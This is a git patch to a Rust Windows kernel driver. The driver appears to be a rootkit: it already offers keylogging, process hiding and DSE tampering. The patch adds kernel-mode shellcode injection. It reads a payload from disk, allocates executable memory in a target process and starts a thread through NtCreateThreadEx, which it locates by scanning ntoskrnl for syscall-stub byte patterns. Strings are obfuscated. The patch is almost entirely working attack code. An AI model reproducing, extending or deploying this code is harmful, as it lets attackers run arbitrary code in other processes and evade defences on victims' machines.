From a5083162b6eaf94c3427ffebeebc0b23d584d5ee Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jo=C3=A3o?= Date: Fri, 26 Jul 2024 19:45:08 -0300 Subject: [PATCH] Adding Injection functionality via ZwCreateTheadEx --- driver/src/injection/mod.rs | 117 ++++++++++++++ driver/src/utils/ioctls.rs | 25 +-- driver/src/utils/macros.rs | 15 ++ driver/src/utils/mod.rs | 309 +++++++++++++++++++++++++++++++----- 4 files changed, 416 insertions(+), 50 deletions(-) create mode 100644 driver/src/injection/mod.rs diff --git a/driver/src/injection/mod.rs b/driver/src/injection/mod.rs new file mode 100644 index 0000000..2431f36 --- /dev/null +++ b/driver/src/injection/mod.rs @@ -0,0 +1,117 @@ +#![allow(non_snake_case)] + +use { + crate::{ + includes::{MmCopyVirtualMemory, ZwCreateThreadExType}, + process::Process, + utils::{find_zw_function, read_file, InitializeObjectAttributes} + }, + core::{ + ffi::c_void, ptr::null_mut + }, + obfstr::obfstr, shared::structs::TargetInjection, + wdk_sys::{ + ntddk::{ + IoGetCurrentProcess, ZwAllocateVirtualMemory, ZwOpenProcess + }, + _MODE::KernelMode, * + } +}; + +pub struct Injection; + +impl Injection { + /// Injection Shellcode in Thread. + /// + /// # Parameters + /// - `target`: The identifier of the target process (PID) to injection shellcode. + /// + /// # Return + /// - `NTSTATUS`: A status code indicating success or failure of the operation. + /// + pub unsafe fn injection_thread(target: *mut TargetInjection) -> NTSTATUS { + let pid = (*target).pid; + let path = &(*target).path; + let mut h_process: HANDLE = null_mut(); + let zw_thread_addr = match find_zw_function(obfstr!("NtCreateThreadEx")) { + Some(addr) => addr as *mut c_void, + None => return STATUS_UNSUCCESSFUL + }; + + let target_eprocess = match Process::new(pid) { + Some(p) => p, + None => return STATUS_UNSUCCESSFUL, + }; + let mut object_attributes = InitializeObjectAttributes(None, 0, None, None, None); + let mut client_id = CLIENT_ID { + UniqueProcess: pid as _, + UniqueThread: null_mut(), + }; + + let mut status = ZwOpenProcess( + &mut h_process, + PROCESS_ALL_ACCESS, + &mut object_attributes, + &mut client_id, + ); + if !NT_SUCCESS(status) { + log::error!("ZwOpenProcess Failed With Status: {status}"); + return status; + } + + let shellcode = match read_file(path) { + Ok(buffer) => buffer, + Err(error) => return error + }; + let mut base_address = null_mut(); + let mut region_size = shellcode.len() as u64; + status = ZwAllocateVirtualMemory( + h_process, + &mut base_address, + 0, + &mut region_size, + MEM_COMMIT | MEM_RESERVE, + PAGE_EXECUTE_READWRITE, + ); + if !NT_SUCCESS(status) { + log::error!("ZwAllocateVirtualMemory Failed With Status: {status}"); + return status; + } + + // ZwProtectVirtualMemory + let mut result_number = 0; + MmCopyVirtualMemory( + IoGetCurrentProcess(), + shellcode.as_ptr() as _, + target_eprocess.e_process, + base_address, + shellcode.len() as u64, + KernelMode as i8, + &mut result_number, + ); + + let ZwCreateThreadEx = core::mem::transmute::<_, ZwCreateThreadExType>(zw_thread_addr); + let mut h_thread = null_mut(); + let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None); + + status = ZwCreateThreadEx( + &mut h_thread, + THREAD_ALL_ACCESS, + &mut obj_attr, + h_process, + core::mem::transmute(base_address), + null_mut(), + 0, + 0, + 0, + 0, + null_mut() + ); + if !NT_SUCCESS(status) { + log::error!("ZwCreateThreadEx Failed With Status: {status}"); + return status; + } + + STATUS_SUCCESS + } +} diff --git a/driver/src/utils/ioctls.rs b/driver/src/utils/ioctls.rs index b356d1a..6d2ed5f 100644 --- a/driver/src/utils/ioctls.rs +++ b/driver/src/utils/ioctls.rs @@ -1,24 +1,20 @@ use { crate::{ - driver::Driver, handle_driver, handle_process, - handle_callback, handle_thread, keylogger::set_keylogger_state, - process::Process, thread::Thread, callbacks::Callback, - handle_module, module::Module + callbacks::Callback, driver::Driver, + handle_callback, handle_driver, handle_injection, + handle_module, handle_process, handle_thread, + keylogger::set_keylogger_state, module::Module, + process::Process, thread::Thread, injection::Injection }, alloc::boxed::Box, core::mem::size_of, hashbrown::HashMap, lazy_static::lazy_static, + wdk_sys::{IO_STACK_LOCATION, IRP, NTSTATUS}, shared::{ ioctls::*, - structs::{ - DriverInfo, TargetDriver, EnumerateInfoInput, Keylogger, - ProcessInfoHide, ProcessListInfo, ProcessSignature, TargetProcess, - TargetThread, ThreadListInfo, DSE, CallbackInfoOutput, CallbackInfoInput, - ModuleInfo - } + structs::*, }, - wdk_sys::{IO_STACK_LOCATION, IRP, NTSTATUS} }; #[cfg(not(feature = "mapper"))] @@ -147,6 +143,13 @@ lazy_static! { status }) as IoctlHandler); + ioctls.insert(IOCTL_INJECTION, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { + log::info!("Received IOCTL_INJECTION"); + let status = unsafe { handle_injection!(stack, Injection::injection_thread, TargetInjection) }; + unsafe { (*irp).IoStatus.Information = 0 }; + status + }) as IoctlHandler); + // If the feature is a mapper, these functionalities will not be added. #[cfg(not(feature = "mapper"))] { diff --git a/driver/src/utils/macros.rs b/driver/src/utils/macros.rs index e0d5050..1021323 100644 --- a/driver/src/utils/macros.rs +++ b/driver/src/utils/macros.rs @@ -89,6 +89,21 @@ macro_rules! handle_driver { }}; } +/// Macro to handle injection-related operations. +/// +/// Executes the given action based on the provided parameters and returns the status. +#[macro_export] +macro_rules! handle_injection { + ($stack:expr, $action:expr, $type_:ty) => {{ + let input_buffer = match crate::utils::get_input_buffer::<$type_>($stack) { + Ok(buffer) => buffer, + Err(status) => return status, + }; + + $action(input_buffer) + }}; +} + /// Macro to handle registry-related operations. /// /// Executes the given action based on the provided parameters and returns the status. diff --git a/driver/src/utils/mod.rs b/driver/src/utils/mod.rs index 8d0cd60..7a7f236 100644 --- a/driver/src/utils/mod.rs +++ b/driver/src/utils/mod.rs @@ -1,26 +1,31 @@ use { - obfstr::obfstr, - alloc::string::String, - crate::process::Process, - crate::includes::SystemModuleInformation, - core::{ffi::CStr, ptr::null_mut}, + crate::{includes::SystemModuleInformation, process::Process}, + alloc::{string::String, vec, vec::Vec}, + core::{ + ffi::{c_void, CStr}, + mem::{size_of, zeroed}, + ptr::{null_mut, read}, + fmt::Write + }, ntapi::{ - ntexapi::{SystemModuleInformation, SystemProcessInformation, PSYSTEM_PROCESS_INFORMATION}, - ntzwapi::ZwQuerySystemInformation, - }, + ntexapi::{SystemModuleInformation, SystemProcessInformation, PSYSTEM_PROCESS_INFORMATION}, + ntzwapi::ZwQuerySystemInformation + }, + ntddk::{ZwCreateFile, ZwQueryInformationFile}, + obfstr::obfstr, wdk_sys::{ + *, ntddk::{ ExAllocatePool, ExFreePool, KeStackAttachProcess, KeUnstackDetachProcess, - }, - IRP, KAPC_STATE, NTSTATUS, NT_SUCCESS, STATUS_INVALID_PARAMETER, - _IO_STACK_LOCATION, _POOL_TYPE::NonPagedPool - }, - winapi::{ - ctypes::c_void, - um::winnt::{ - RtlZeroMemory, IMAGE_DOS_HEADER, IMAGE_DOS_SIGNATURE, IMAGE_EXPORT_DIRECTORY, - IMAGE_NT_HEADERS64, IMAGE_NT_SIGNATURE + ZwMapViewOfSection, ZwOpenSection, ZwReadFile, ZwClose, ZwUnmapViewOfSection }, + _FILE_INFORMATION_CLASS::FileStandardInformation, + _POOL_TYPE::NonPagedPool, + _SECTION_INHERIT::ViewUnmap + }, + winapi::um::winnt::{ + RtlZeroMemory, IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY, + IMAGE_NT_HEADERS64, IMAGE_SECTION_HEADER }, }; @@ -94,10 +99,14 @@ pub unsafe fn get_module_base_address(module_name: &str) -> Option<*mut c_void> return None; } - RtlZeroMemory(info_module as *mut c_void, return_bytes as usize); - - let status = ZwQuerySystemInformation(SystemModuleInformation,info_module as *mut c_void,return_bytes,&mut return_bytes); + RtlZeroMemory(info_module as *mut winapi::ctypes::c_void, return_bytes as usize); + let status = ZwQuerySystemInformation( + SystemModuleInformation, + info_module as *mut winapi::ctypes::c_void, + return_bytes, + &mut return_bytes + ); if !NT_SUCCESS(status) { log::error!("ZwQuerySystemInformation [2] Failed With Status: {status}"); return None; @@ -107,7 +116,7 @@ pub unsafe fn get_module_base_address(module_name: &str) -> Option<*mut c_void> for i in 0..module_count as usize { let name = (*info_module).modules[i].image_name; - let module_base = (*info_module).modules[i].image_base; + let module_base = (*info_module).modules[i].image_base as *mut c_void; if let Ok(name_str) = core::str::from_utf8(&name) { if name_str.contains(module_name) { return Some(module_base); @@ -129,16 +138,7 @@ pub unsafe fn get_module_base_address(module_name: &str) -> Option<*mut c_void> /// pub unsafe fn get_function_address(function_name: &str, dll_base: *mut c_void) -> Option<*mut c_void> { let dos_header = dll_base as *mut IMAGE_DOS_HEADER; - if (*dos_header).e_magic != IMAGE_DOS_SIGNATURE { - log::error!("INVALID DOS SIGNATURE"); - return None; - } - let nt_header = (dll_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64; - if (*nt_header).Signature != IMAGE_NT_SIGNATURE { - log::error!("INVALID NT SIGNATURE"); - return None; - } let export_directory = (dll_base as usize + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY; let names = (dll_base as usize + (*export_directory).AddressOfNames as usize) as *const u32; @@ -181,16 +181,7 @@ pub unsafe fn get_function_address_asynckey(name: &str, dll_base: *mut c_void) - KeStackAttachProcess(target.e_process, &mut apc_state); let dos_header = dll_base as *mut IMAGE_DOS_HEADER; - if (*dos_header).e_magic != IMAGE_DOS_SIGNATURE { - log::error!("INVALID DOS SIGNATURE"); - return None; - } - let nt_header = (dll_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64; - if (*nt_header).Signature != IMAGE_NT_SIGNATURE { - log::error!("INVALID NT SIGNATURE"); - return None; - } let export_directory = (dll_base as usize + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY; let names = (dll_base as usize + (*export_directory).AddressOfNames as usize) as *const u32; @@ -267,6 +258,246 @@ pub unsafe fn get_process_by_name(process_name: &str) -> Option { None } +pub unsafe fn get_syscall_index(function_name: &str) -> Option { + let mut section_handle = null_mut(); + let ntdll = crate::utils::uni::str_to_unicode("\\KnownDlls\\ntdll.dll"); + let mut obj_attr = OBJECT_ATTRIBUTES { + ObjectName: &mut ntdll.to_unicode(), + SecurityDescriptor: null_mut(), + SecurityQualityOfService: null_mut(), + RootDirectory: null_mut(), + Attributes: OBJ_CASE_INSENSITIVE, + Length: size_of::() as u32 + }; + + let mut status = ZwOpenSection(&mut section_handle, SECTION_MAP_READ | SECTION_QUERY, &mut obj_attr); + if !NT_SUCCESS(status) { + log::error!("ZwOpenSection Failed With Status: {status}"); + return None + } + + let mut large: LARGE_INTEGER = zeroed(); + let mut ntdll_addr = null_mut(); + let mut view_size = 0; + status = ZwMapViewOfSection( + section_handle, + 0xFFFFFFFFFFFFFFFF as *mut core::ffi::c_void, + &mut ntdll_addr, + 0, + 0, + &mut large, + &mut view_size, + ViewUnmap, + 0, + PAGE_READONLY, + ); + if !NT_SUCCESS(status) { + log::error!("ZwMapViewOfSection Failed With Status: {status}"); + ZwUnmapViewOfSection(0xFFFFFFFFFFFFFFFF as *mut c_void, ntdll_addr as *mut c_void); + ZwClose(section_handle); + return None + } + + let dos_header = ntdll_addr as *mut IMAGE_DOS_HEADER; + let nt_header = (ntdll_addr as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64; + + let ntdll_addr = ntdll_addr as usize; + let export_directory = (ntdll_addr + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY; + let names = (ntdll_addr + (*export_directory).AddressOfNames as usize) as *const u32; + let ordinals = (ntdll_addr + (*export_directory).AddressOfNameOrdinals as usize) as *const u16; + let addresss = (ntdll_addr + (*export_directory).AddressOfFunctions as usize) as *const u32; + + for i in 0..(*export_directory).NumberOfNames as isize { + let name_module = CStr::from_ptr((ntdll_addr + *names.offset(i) as usize) as *const i8).to_str().ok()?; + let ordinal = *ordinals.offset(i); + let address = (ntdll_addr + *addresss.offset(ordinal as isize) as usize) as *const u8; + if name_module == function_name { + + if read(address) == 0x4C + && read(address.add(1)) == 0x8B + && read(address.add(2)) == 0xD1 + && read(address.add(3)) == 0xB8 + && read(address.add(6)) == 0x00 + && read(address.add(7)) == 0x00 + { + let high = read(address.add(5)) as u16; + let low = read(address.add(4)) as u16; + let ssn = (high << 8) | low; + + ZwUnmapViewOfSection(0xFFFFFFFFFFFFFFFF as *mut c_void, ntdll_addr as *mut c_void); + ZwClose(section_handle); + return Some(ssn); + } + } + } + + ZwUnmapViewOfSection(0xFFFFFFFFFFFFFFFF as *mut c_void, ntdll_addr as *mut c_void); + ZwClose(section_handle); + return None +} + +/// +/// +/// +/// +/// +pub unsafe fn find_zw_function(name: &str) -> Option { + let ssn = match get_syscall_index(name) { + Some(ssn) => ssn, + None => return None, + }; + let ntoskrnl_addr = match get_module_base_address(obfstr!("ntoskrnl.exe")) { + Some(addr) => addr, + None => return None, + }; + + let ssn_bytes = ssn.to_le_bytes(); + let pattern = [ + 0x48, 0x8B, 0xC4, // mov rax, rsp + 0xFA, // cli + 0x48, 0x83, 0xEC, 0x10, // sub rsp, 10h + 0x50, // push rax + 0x9C, // pushfq + 0x6A, 0x10, // push 10h + 0x48, 0x8D, 0x05, 0xCC, 0xCC, 0xCC, 0xCC, // lea rax, KiServiceLinkage + 0x50, // push rax + 0xB8, ssn_bytes[0], ssn_bytes[1], 0xCC, 0xCC, // mov eax, + 0xE9, 0xCC, 0xCC, 0xCC, 0xCC // jmp KiServiceInternal + ]; + + let dos_header = ntoskrnl_addr as *mut IMAGE_DOS_HEADER; + let nt_header = (ntoskrnl_addr as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64; + let section_header = (nt_header as usize + size_of::()) as *mut IMAGE_SECTION_HEADER; + + for i in 0..(*nt_header).FileHeader.NumberOfSections as usize { + let section = (*section_header.add(i)).Name; + let name = core::str::from_utf8(§ion).unwrap().trim_matches('\0'); + + if name == obfstr!(".text") { + let text_start = ntoskrnl_addr as usize + (*section_header.add(i)).VirtualAddress as usize; + let text_end = text_start + *(*section_header.add(i)).Misc.VirtualSize() as usize; + let data = core::slice::from_raw_parts(text_start as *const u8, text_end - text_start); + + if let Some(offset) = data.windows(pattern.len()) + .position(|window| { + window.iter().zip(&pattern).all(|(d, p)| *p == 0xCC || *d == *p) + }) { + + return Some(text_start + offset); + } + } + } + + return None +} + +/// +/// +/// +/// +#[allow(non_snake_case)] +pub fn InitializeObjectAttributes( + object_name: Option<*mut UNICODE_STRING>, + attributes: u32, + root_directory: Option<*mut c_void>, + security_descriptor: Option<*mut c_void>, + security_quality_of_service: Option<*mut c_void> +) -> OBJECT_ATTRIBUTES { + OBJECT_ATTRIBUTES { + Length: size_of::() as u32, + RootDirectory: root_directory.unwrap_or(null_mut()), + ObjectName: object_name.unwrap_or(null_mut()), + Attributes: attributes, + SecurityDescriptor: security_descriptor.unwrap_or(null_mut()), + SecurityQualityOfService: security_quality_of_service.unwrap_or(null_mut()) + } +} + +/// +/// +/// +/// +/// +pub fn read_file(path: &String) -> Result, NTSTATUS> { + let mut path_nt = String::new(); + write!(&mut path_nt, "\\??\\{}", path).unwrap(); + + let file_name = crate::utils::uni::str_to_unicode(&path_nt); + let mut io_status_block: _IO_STATUS_BLOCK = unsafe { zeroed() }; + let mut obj_attr = InitializeObjectAttributes( + Some(&mut file_name.to_unicode()), + OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, + None, + None, + None + ); + + let mut h_file: HANDLE = null_mut(); + let mut status = unsafe { + ZwCreateFile( + &mut h_file, + GENERIC_READ, + &mut obj_attr, + &mut io_status_block, + null_mut(), + FILE_ATTRIBUTE_NORMAL, + 0, + FILE_OPEN, + FILE_SYNCHRONOUS_IO_NONALERT, + null_mut(), + 0, + ) + }; + if !NT_SUCCESS(status) { + log::error!("ZwCreateFile Failed With Status: {status}"); + unsafe { ZwClose(h_file) }; + return Err(status); + } + + let mut file_info: FILE_STANDARD_INFORMATION = unsafe { zeroed() }; + status = unsafe { + ZwQueryInformationFile( + h_file, + &mut io_status_block, + &mut file_info as *mut _ as *mut c_void, + size_of::() as u32, + FileStandardInformation + ) + }; + if !NT_SUCCESS(status) { + log::error!("ZwQueryInformationFile Failed With Status: {status}"); + unsafe { ZwClose(h_file) }; + return Err(status); + } + + let file_size = unsafe { file_info.EndOfFile.QuadPart as usize }; + let mut byte_offset: LARGE_INTEGER = unsafe { zeroed() }; + byte_offset.QuadPart = 0; + let mut shellcode = vec![0u8; file_size]; + status = unsafe { + ZwReadFile( + h_file, + null_mut(), + None, + null_mut(), + &mut io_status_block, + shellcode.as_mut_ptr() as *mut c_void, + file_size as u32, + &mut byte_offset, + null_mut() + ) + }; + if !NT_SUCCESS(status) { + log::error!("ZwReadFile Failed With Status: {status}"); + unsafe { ZwClose(h_file) }; + return Err(status); + } + + unsafe { ZwClose(h_file) }; + + return Ok(shellcode) +} + /// Validates if the given address is within the kernel memory range. /// /// # Parameters